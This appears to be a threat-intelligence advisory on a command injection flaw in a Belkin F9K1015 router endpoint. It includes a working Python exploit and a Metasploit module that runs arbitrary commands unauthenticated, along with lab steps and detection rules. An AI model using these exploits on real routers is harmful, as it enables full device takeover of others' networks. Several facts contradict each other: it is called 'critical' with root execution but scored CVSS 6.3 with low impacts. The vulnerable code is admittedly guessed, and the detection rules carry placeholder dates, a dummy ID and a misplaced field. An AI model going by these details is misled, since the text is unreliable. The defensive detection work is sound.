CVE-2025-11292

Executive Summary

CVE-2025-11292 is a critical command injection vulnerability in the Belkin F9K1015 router (firmware version 1.00.10). The flaw resides in the /goform/formBSSetSitesurvey endpoint, where the wan_ipaddr parameter is not properly sanitized before being passed to a system command. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands with root privileges, leading to full device compromise. The exploit has been publicly released, and the vendor has not responded to disclosure attempts. No official patch exists, making this a high-risk, zero-day-like threat for all affected devices.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer networking device. However, the lack of vendor response and public exploit availability means that any organization using Belkin F9K1015 routers should treat them as compromised and immediately isolate or replace them.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification possible.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High (due to public exploit, no patch, and remote unauthenticated access).

Deep Dive & Mechanics

The vulnerability is a classic command injection in the Belkin router’s web management interface. The /goform/formBSSetSitesurvey endpoint is used to trigger a site survey for wireless networks. The wan_ipaddr parameter is likely concatenated into a shell command without proper sanitization. For example, the backend might execute something like:

iwlist scan 2>/dev/null | grep "$wan_ipaddr"

By injecting shell metacharacters (e.g., ;, |, $()), an attacker can break out of the intended command and execute arbitrary code. The router runs as root, so the injected commands run with full system privileges.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to /goform/formBSSetSitesurvey with a malicious wan_ipaddr parameter.
2. The router’s CGI handler passes the unsanitized input to a shell command.
3. The injected command executes, allowing the attacker to read/write files, install malware, or pivot to internal networks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for the vulnerable handler
void handle_sitesurvey() {
    char cmd[512];
    char *wan_ip = get_param("wan_ipaddr");
    snprintf(cmd, sizeof(cmd), "iwlist scan 2>/dev/null | grep '%s'", wan_ip);
    system(cmd);
}

Patched Code (Hypothetical):

void handle_sitesurvey() {
    char cmd[512];
    char *wan_ip = get_param("wan_ipaddr");
    // Sanitize input: allow only IP-like patterns
    if (!is_valid_ip(wan_ip)) {
        return_error("Invalid IP");
        return;
    }
    snprintf(cmd, sizeof(cmd), "iwlist scan 2>/dev/null | grep '%s'", wan_ip);
    system(cmd);
}

Since no official patch exists, the only mitigation is to disable the vulnerable endpoint or replace the device.

Exploitation & Lab Setup

Red Team (Offensive)

Exploit Code (Python):

import requests

target = "http://192.168.1.1"
payload = "; id > /tmp/pwned;"
data = {"wan_ipaddr": payload}
url = f"{target}/goform/formBSSetSitesurvey"

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"Exploit sent. Check /tmp/pwned on device.")
except Exception as e:
    print(f"Error: {e}")

Metasploit Module (Conceptual):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Belkin F9K1015 Command Injection',
      'Description' => %q{
        This module exploits a command injection vulnerability in Belkin F9K1015 routers.
      },
      'Author'      => ['Security Researcher'],
      'License'     => MSF_LICENSE,
      'References'  => [['CVE', '2025-11292']],
      'DisclosureDate' => '2025-01-01',
      'Targets'     => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'The URI of the vulnerable endpoint', '/goform/formBSSetSitesurvey']),
      OptString.new('CMD', [true, 'The command to execute', 'id'])
    ])
  end

  def exploit
    cmd = datastore['CMD']
    payload = "; #{cmd};"
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['TARGETURI']),
      'vars_post' => { 'wan_ipaddr' => payload }
    })
    if res
      print_good("Command executed: #{cmd}")
    else
      print_error("Failed to send request")
    end
  end
end

Lab Setup:

1. Obtain a Belkin F9K1015 router (or use a firmware emulator like Firmadyne).
2. Connect to the router’s LAN interface.
3. Run the exploit script against the router’s IP.
4. Verify command execution by checking for created files or reverse shell.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /goform/formBSSetSitesurvey with suspicious wan_ipaddr values (e.g., containing ;, |, $).
• Alert on outbound connections from the router to unknown IPs (potential reverse shell).
• Check for unexpected files in /tmp or /var on the router.

Honeypot:

• Deploy a low-interaction honeypot mimicking the Belkin web interface to capture exploit attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST to /goform/formBSSetSitesurvey with wan_ipaddr containing shell metacharacters.
  • Outbound connections from the router to unusual IPs (e.g., on ports 4444, 8080).
• File System:
  • Unexpected files in /tmp (e.g., /tmp/pwned, /tmp/.backdoor).
  • Modified /etc/passwd or /etc/shadow (if attacker adds users).
• Process:
  • Unusual processes running as root (e.g., nc, bash, python).
• Logs:
  • Router logs showing repeated POST requests to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2025_11292_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-11292 in HTTP traffic"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11292"
    strings:
        $exploit_pattern = /wan_ipaddr=.*[;|&`$]/
    condition:
        $exploit_pattern
}

Sigma Rule

title: Belkin F9K1015 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to /goform/formBSSetSitesurvey with suspicious wan_ipaddr parameter
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/goform/formBSSetSitesurvey'
    keywords:
        - 'wan_ipaddr='
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate network scanning tools (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11292 Belkin F9K1015 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/formBSSetSitesurvey"; http_uri;
    content:"wan_ipaddr="; http_client_body;
    pcre:"/wan_ipaddr=.*[;|&`$]/";
    sid:1000001;
    rev:1;
    reference:cve,2025-11292;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Belkin F9K1015 routers from the network immediately.
2. Replace hardware: Migrate to a supported, patched router model from a different vendor.
3. Block exploit attempts: Deploy WAF rules to block HTTP POST requests to /goform/formBSSetSitesurvey with suspicious parameters.
4. Monitor for IOCs: Use the provided YARA/Sigma/Suricata rules to detect exploitation attempts.

Long-Term:

• Vendor contact: Continue attempting to contact Belkin for a firmware patch.
• Firmware hardening: If possible, manually patch the firmware by removing or disabling the vulnerable endpoint.
• Network segmentation: Place IoT devices on a separate VLAN to limit blast radius.

No official patch exists. The only reliable mitigation is to replace the device.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert